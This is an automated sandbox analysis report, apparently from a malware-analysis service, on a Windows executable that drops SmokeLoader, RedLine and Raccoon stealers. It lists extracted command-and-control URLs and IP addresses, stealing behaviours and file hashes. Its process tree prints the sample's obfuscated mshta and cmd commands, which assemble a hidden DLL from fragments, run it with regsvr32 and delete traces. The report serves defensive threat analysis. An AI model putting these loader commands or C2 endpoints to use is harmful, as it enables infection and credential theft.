Analysis
-
max time kernel
151s -
max time network
149s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
14-11-2021 01:16
Static task
static1
Behavioral task
behavioral1
Sample
0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe
Resource
win10-en-20211104
General
-
Target
0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe
-
Size
315KB
-
MD5
439d140f01912ac6a7796fdadf581148
-
SHA1
962a1e22862c97f9162cc1300b64a43eeb814e60
-
SHA256
0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a
-
SHA512
93934a8ea134d8588cd98aa0d3b8c038c7a90c37724050df2527446faace31f8b3c293d996796536b46da091dbeed9df0e29a9ce72ffc6b0d2a83a721cef3b4d
Malware Config
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
http://srtuiyhuali.at/
http://fufuiloirtu.com/
http://amogohuigotuli.at/
http://novohudosovu.com/
http://brutuilionust.com/
http://bubushkalioua.com/
http://dumuilistrati.at/
http://verboliatsiaeeees.com/
Extracted
redline
185.159.80.90:38637
Extracted
redline
SuperStar
185.215.113.29:36224
Extracted
raccoon
1.8.3-hotfix
ddf183af4241e3172885cf1b2c4c1fb4ee03d05a
-
url4cnc
http://91.219.236.27/capibar
http://5.181.156.92/capibar
http://91.219.236.207/capibar
http://185.225.19.18/capibar
http://91.219.237.227/capibar
https://t.me/capibar
Extracted
raccoon
1.8.3-hotfix
675718a5f2ce6d3cacf6cb04a512f5637eae995f
-
url4cnc
http://91.219.236.27/agrybirdsgamerept
http://5.181.156.92/agrybirdsgamerept
http://91.219.236.207/agrybirdsgamerept
http://185.225.19.18/agrybirdsgamerept
http://91.219.237.227/agrybirdsgamerept
http://185.163.47.176/agrybirdsgamerept
Extracted
redline
imbest
45.153.186.153:56675
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
Processes:
resource yara_rule behavioral1/memory/1028-152-0x0000000000418EEA-mapping.dmp family_redline behavioral1/memory/1028-151-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1308-167-0x00000000022D0000-0x00000000022EC000-memory.dmp family_redline behavioral1/memory/1308-169-0x0000000004910000-0x000000000492B000-memory.dmp family_redline behavioral1/memory/68-240-0x0000000007050000-0x000000000707D000-memory.dmp family_redline behavioral1/memory/68-242-0x00000000070C0000-0x00000000070EC000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 2488 created 2180 2488 WerFault.exe 21EF.exe -
Downloads MZ/PE file
-
Executes dropped EXE 12 IoCs
Processes:
E44.exe12E9.exe14DE.exe1A0F.exeE44.exe21EF.exe12E9.exe1A0F.exe3941.exeA049.exeSIOFYL_.eXEB3C3.exepid process 1976 E44.exe 1000 12E9.exe 1152 14DE.exe 1292 1A0F.exe 3032 E44.exe 2180 21EF.exe 1028 12E9.exe 1308 1A0F.exe 4052 3941.exe 3604 A049.exe 3816 SIOFYL_.eXE 68 B3C3.exe -
Deletes itself 1 IoCs
Processes:
pid process 3040 -
Loads dropped DLL 2 IoCs
Processes:
regsvr32.exepid process 1076 regsvr32.exe 1076 regsvr32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of SetThreadContext 4 IoCs
Processes:
0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exeE44.exe12E9.exe1A0F.exedescription pid process target process PID 4004 set thread context of 424 4004 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe PID 1976 set thread context of 3032 1976 E44.exe E44.exe PID 1000 set thread context of 1028 1000 12E9.exe 12E9.exe PID 1292 set thread context of 1308 1292 1A0F.exe 1A0F.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2488 2180 WerFault.exe 21EF.exe -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe14DE.exedescription ioc process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 14DE.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 14DE.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 14DE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 3860 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exepid process 424 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe 424 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 3040 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 3040 -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe14DE.exepid process 424 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe 1152 14DE.exe 3040 3040 3040 3040 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
WerFault.exe12E9.exetaskkill.exedescription pid process Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeRestorePrivilege 2488 WerFault.exe Token: SeBackupPrivilege 2488 WerFault.exe Token: SeDebugPrivilege 2488 WerFault.exe Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeDebugPrivilege 1028 12E9.exe Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeDebugPrivilege 3860 taskkill.exe Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 Token: SeCreatePagefilePrivilege 3040 Token: SeShutdownPrivilege 3040 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe12E9.exeE44.exe1A0F.exeA049.exemshta.execmd.exeSIOFYL_.eXEdescription pid process target process PID 4004 wrote to memory of 424 4004 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe PID 4004 wrote to memory of 424 4004 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe PID 4004 wrote to memory of 424 4004 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe PID 4004 wrote to memory of 424 4004 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe PID 4004 wrote to memory of 424 4004 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe PID 4004 wrote to memory of 424 4004 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe 0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe PID 3040 wrote to memory of 1976 3040 E44.exe PID 3040 wrote to memory of 1976 3040 E44.exe PID 3040 wrote to memory of 1976 3040 E44.exe PID 3040 wrote to memory of 1000 3040 12E9.exe PID 3040 wrote to memory of 1000 3040 12E9.exe PID 3040 wrote to memory of 1000 3040 12E9.exe PID 3040 wrote to memory of 1152 3040 14DE.exe PID 3040 wrote to memory of 1152 3040 14DE.exe PID 3040 wrote to memory of 1152 3040 14DE.exe PID 1000 wrote to memory of 1028 1000 12E9.exe 12E9.exe PID 1000 wrote to memory of 1028 1000 12E9.exe 12E9.exe PID 1000 wrote to memory of 1028 1000 12E9.exe 12E9.exe PID 3040 wrote to memory of 1292 3040 1A0F.exe PID 3040 wrote to memory of 1292 3040 1A0F.exe PID 3040 wrote to memory of 1292 3040 1A0F.exe PID 1976 wrote to memory of 3032 1976 E44.exe E44.exe PID 1976 wrote to memory of 3032 1976 E44.exe E44.exe PID 1976 wrote to memory of 3032 1976 E44.exe E44.exe PID 1976 wrote to memory of 3032 1976 E44.exe E44.exe PID 1976 wrote to memory of 3032 1976 E44.exe E44.exe PID 1976 wrote to memory of 3032 1976 E44.exe E44.exe PID 3040 wrote to memory of 2180 3040 21EF.exe PID 3040 wrote to memory of 2180 3040 21EF.exe PID 3040 wrote to memory of 2180 3040 21EF.exe PID 1000 wrote to memory of 1028 1000 12E9.exe 12E9.exe PID 1000 wrote to memory of 1028 1000 12E9.exe 12E9.exe PID 1000 wrote to memory of 1028 1000 12E9.exe 12E9.exe PID 1000 wrote to memory of 1028 1000 12E9.exe 12E9.exe PID 1000 wrote to memory of 1028 1000 12E9.exe 12E9.exe PID 1292 wrote to memory of 1308 1292 1A0F.exe 1A0F.exe PID 1292 wrote to memory of 1308 1292 1A0F.exe 1A0F.exe PID 1292 wrote to memory of 1308 1292 1A0F.exe 1A0F.exe PID 1292 wrote to memory of 1308 1292 1A0F.exe 1A0F.exe PID 1292 wrote to memory of 1308 1292 1A0F.exe 1A0F.exe PID 1292 wrote to memory of 1308 1292 1A0F.exe 1A0F.exe PID 1292 wrote to memory of 1308 1292 1A0F.exe 1A0F.exe PID 1292 wrote to memory of 1308 1292 1A0F.exe 1A0F.exe PID 1292 wrote to memory of 1308 1292 1A0F.exe 1A0F.exe PID 3040 wrote to memory of 4052 3040 3941.exe PID 3040 wrote to memory of 4052 3040 3941.exe PID 3040 wrote to memory of 4052 3040 3941.exe PID 3040 wrote to memory of 3604 3040 A049.exe PID 3040 wrote to memory of 3604 3040 A049.exe PID 3040 wrote to memory of 3604 3040 A049.exe PID 3604 wrote to memory of 3568 3604 A049.exe mshta.exe PID 3604 wrote to memory of 3568 3604 A049.exe mshta.exe PID 3604 wrote to memory of 3568 3604 A049.exe mshta.exe PID 3568 wrote to memory of 2388 3568 mshta.exe cmd.exe PID 3568 wrote to memory of 2388 3568 mshta.exe cmd.exe PID 3568 wrote to memory of 2388 3568 mshta.exe cmd.exe PID 2388 wrote to memory of 3816 2388 cmd.exe SIOFYL_.eXE PID 2388 wrote to memory of 3816 2388 cmd.exe SIOFYL_.eXE PID 2388 wrote to memory of 3816 2388 cmd.exe SIOFYL_.eXE PID 2388 wrote to memory of 3860 2388 cmd.exe taskkill.exe PID 2388 wrote to memory of 3860 2388 cmd.exe taskkill.exe PID 2388 wrote to memory of 3860 2388 cmd.exe taskkill.exe PID 3816 wrote to memory of 2884 3816 SIOFYL_.eXE mshta.exe PID 3816 wrote to memory of 2884 3816 SIOFYL_.eXE mshta.exe -
outlook_office_path 1 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
outlook_win_path 1 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe"C:\Users\Admin\AppData\Local\Temp\0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe"C:\Users\Admin\AppData\Local\Temp\0acffc00b7ae4aa8168cb2bc119ba116538ed913f03d25e8b2e750c6ead7cb6a.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\E44.exeC:\Users\Admin\AppData\Local\Temp\E44.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\E44.exeC:\Users\Admin\AppData\Local\Temp\E44.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\12E9.exeC:\Users\Admin\AppData\Local\Temp\12E9.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\12E9.exeC:\Users\Admin\AppData\Local\Temp\12E9.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\14DE.exeC:\Users\Admin\AppData\Local\Temp\14DE.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\1A0F.exeC:\Users\Admin\AppData\Local\Temp\1A0F.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1A0F.exeC:\Users\Admin\AppData\Local\Temp\1A0F.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\21EF.exeC:\Users\Admin\AppData\Local\Temp\21EF.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2180 -s 8762⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\3941.exeC:\Users\Admin\AppData\Local\Temp\3941.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\A049.exeC:\Users\Admin\AppData\Local\Temp\A049.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\A049.exe"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF """"== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\A049.exe"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\A049.exe" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\A049.exe" ) do taskkill -f /iM "%~NXS"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk ""== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF "/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk "== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ) do taskkill -f /iM "%~NXS"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscrIPT: cLOSE(cREateObJeCt( "wscRiPt.SHELl"). Run ("cMd /r Echo | set /P = ""MZ"" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q * " ,0 ,tRuE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r Echo | set /P = "MZ" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q *6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>V_DXQ.No"7⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 ..\CxSXSHYX.ZBV -s7⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f /iM "A049.exe"4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\B3C3.exeC:\Users\Admin\AppData\Local\Temp\B3C3.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\12E9.exe.logMD5
41fbed686f5700fc29aaccf83e8ba7fd
SHA15271bc29538f11e42a3b600c8dc727186e912456
SHA256df4e9d012687cdabd15e86bf37be15d6c822e1f50dde530a02468f0006586437
SHA512234b2235c1ced25810a4121c5eabcbf9f269e82c126a1adc363ee34478173f8b462e90eb53f5f11533641663350b90ec1e2360fd805b10c041fab12f4da7a034
-
C:\Users\Admin\AppData\Local\Temp\12E9.exeMD5
5e34695c9f46f1e69ce731d3b7359c88
SHA1e1e5bb43f0c7556bcccc8cb698f854694bdc024a
SHA25697f96815d81f9c1c8ede31f1c21fda2bee7cbab3490184ef833d9d2e8c17e6fc
SHA512659fa0b695942c35dd4ef499d6c01d9b2a8c23254ea31465a126fd71a0d542ee71da9349ffc8226083393ed37c0668f63c97cc7ef3e014eae793b1f1ba7d6b43
-
C:\Users\Admin\AppData\Local\Temp\12E9.exeMD5
5e34695c9f46f1e69ce731d3b7359c88
SHA1e1e5bb43f0c7556bcccc8cb698f854694bdc024a
SHA25697f96815d81f9c1c8ede31f1c21fda2bee7cbab3490184ef833d9d2e8c17e6fc
SHA512659fa0b695942c35dd4ef499d6c01d9b2a8c23254ea31465a126fd71a0d542ee71da9349ffc8226083393ed37c0668f63c97cc7ef3e014eae793b1f1ba7d6b43
-
C:\Users\Admin\AppData\Local\Temp\12E9.exeMD5
5e34695c9f46f1e69ce731d3b7359c88
SHA1e1e5bb43f0c7556bcccc8cb698f854694bdc024a
SHA25697f96815d81f9c1c8ede31f1c21fda2bee7cbab3490184ef833d9d2e8c17e6fc
SHA512659fa0b695942c35dd4ef499d6c01d9b2a8c23254ea31465a126fd71a0d542ee71da9349ffc8226083393ed37c0668f63c97cc7ef3e014eae793b1f1ba7d6b43
-
C:\Users\Admin\AppData\Local\Temp\14DE.exeMD5
d985b4cfdceecc3c0fe4f3e4fda4e416
SHA1f3c14a4d87569e54faaf0eac73ec1aafa2621dfa
SHA256a8b37d6b073ee045ae63473cb1a592c974e896b19e3db06d552f955901c06db7
SHA512560a056c076db6893f6407807d9a10d1078c148aa588d9de6ce1874eeac0a4feaf2102b656ba96316a32c89df97986f20cf77e55117e2c9bf97e52ef3381335c
-
C:\Users\Admin\AppData\Local\Temp\14DE.exeMD5
d985b4cfdceecc3c0fe4f3e4fda4e416
SHA1f3c14a4d87569e54faaf0eac73ec1aafa2621dfa
SHA256a8b37d6b073ee045ae63473cb1a592c974e896b19e3db06d552f955901c06db7
SHA512560a056c076db6893f6407807d9a10d1078c148aa588d9de6ce1874eeac0a4feaf2102b656ba96316a32c89df97986f20cf77e55117e2c9bf97e52ef3381335c
-
C:\Users\Admin\AppData\Local\Temp\1A0F.exeMD5
d9179172c70abbeaa07f245689e7bf9c
SHA1331556d618b6523f410a5d94ef3ecccecf62aaef
SHA25650df31709385e517b9b0c9511d895d2c55e97063c18e44903598cf9d35132ec2
SHA512e63e7bf34a98bccb2aec5918e3129cea59cc539c64e28837a4948a9aa0a1d30d46f6419131ae435a681bb1c8e34057e503a4031f405c74d5228335c142abc12f
-
C:\Users\Admin\AppData\Local\Temp\1A0F.exeMD5
d9179172c70abbeaa07f245689e7bf9c
SHA1331556d618b6523f410a5d94ef3ecccecf62aaef
SHA25650df31709385e517b9b0c9511d895d2c55e97063c18e44903598cf9d35132ec2
SHA512e63e7bf34a98bccb2aec5918e3129cea59cc539c64e28837a4948a9aa0a1d30d46f6419131ae435a681bb1c8e34057e503a4031f405c74d5228335c142abc12f
-
C:\Users\Admin\AppData\Local\Temp\1A0F.exeMD5
d9179172c70abbeaa07f245689e7bf9c
SHA1331556d618b6523f410a5d94ef3ecccecf62aaef
SHA25650df31709385e517b9b0c9511d895d2c55e97063c18e44903598cf9d35132ec2
SHA512e63e7bf34a98bccb2aec5918e3129cea59cc539c64e28837a4948a9aa0a1d30d46f6419131ae435a681bb1c8e34057e503a4031f405c74d5228335c142abc12f
-
C:\Users\Admin\AppData\Local\Temp\21EF.exeMD5
0f9d1f2e3aaad601bb95a039b0aedcfb
SHA1141e7b7b2a4a31b2a7e599b2d2064239fcc66707
SHA256db4ec306ea32c01cb486566c699b9b88013beb26c2830319785bf5a4ee4735b5
SHA512b68708a0aa425a3f90df3c1639aeb2358f34fa5bfb3691d3010cd528cdce99692269b13cda9f05172d8608fc08b7b7ca5449d495290a5e9e81221edfe9d052e7
-
C:\Users\Admin\AppData\Local\Temp\21EF.exeMD5
0f9d1f2e3aaad601bb95a039b0aedcfb
SHA1141e7b7b2a4a31b2a7e599b2d2064239fcc66707
SHA256db4ec306ea32c01cb486566c699b9b88013beb26c2830319785bf5a4ee4735b5
SHA512b68708a0aa425a3f90df3c1639aeb2358f34fa5bfb3691d3010cd528cdce99692269b13cda9f05172d8608fc08b7b7ca5449d495290a5e9e81221edfe9d052e7
-
C:\Users\Admin\AppData\Local\Temp\3941.exeMD5
af6fb9f053874119de9424937ee15d4f
SHA17b5e39d8ef9495e0bb9954cd253229b9b136426d
SHA256354928b0eda9cd85f543b70deb29a9cd3973244304ede6477c25e64ce2d85ad0
SHA512ead534691696c33bc1563526b81bd183a3bd75d9fd300a8bc42ea419aa12e9714d602e8aaa44644c74f425fa72c7e554aac6e07b44944a2077c5a7f15add5ca0
-
C:\Users\Admin\AppData\Local\Temp\3941.exeMD5
af6fb9f053874119de9424937ee15d4f
SHA17b5e39d8ef9495e0bb9954cd253229b9b136426d
SHA256354928b0eda9cd85f543b70deb29a9cd3973244304ede6477c25e64ce2d85ad0
SHA512ead534691696c33bc1563526b81bd183a3bd75d9fd300a8bc42ea419aa12e9714d602e8aaa44644c74f425fa72c7e554aac6e07b44944a2077c5a7f15add5ca0
-
C:\Users\Admin\AppData\Local\Temp\A049.exeMD5
57861feb58cc7432fc9191f26beac607
SHA1e76e9ea41e4cf2f5869bbf696e216e688fb7b82b
SHA2561c48f756080c780600c8eb59f9d10bc5f22b0ce2245687c9f51d6c2455a07a4e
SHA5120ccfb8364049473e1c36825ad009570ce68ba689a2de9e4f02688a44b508fe9f075e83e6c8d2a7d2c8d62cbf99c7054b0cc226ab6637fe816764f708a05bcfeb
-
C:\Users\Admin\AppData\Local\Temp\A049.exeMD5
57861feb58cc7432fc9191f26beac607
SHA1e76e9ea41e4cf2f5869bbf696e216e688fb7b82b
SHA2561c48f756080c780600c8eb59f9d10bc5f22b0ce2245687c9f51d6c2455a07a4e
SHA5120ccfb8364049473e1c36825ad009570ce68ba689a2de9e4f02688a44b508fe9f075e83e6c8d2a7d2c8d62cbf99c7054b0cc226ab6637fe816764f708a05bcfeb
-
C:\Users\Admin\AppData\Local\Temp\B3C3.exeMD5
fbd85df545d628ad7f29e4a52ffc2259
SHA1699ce7adc17781cece5516b93fed18ad3f19cb8d
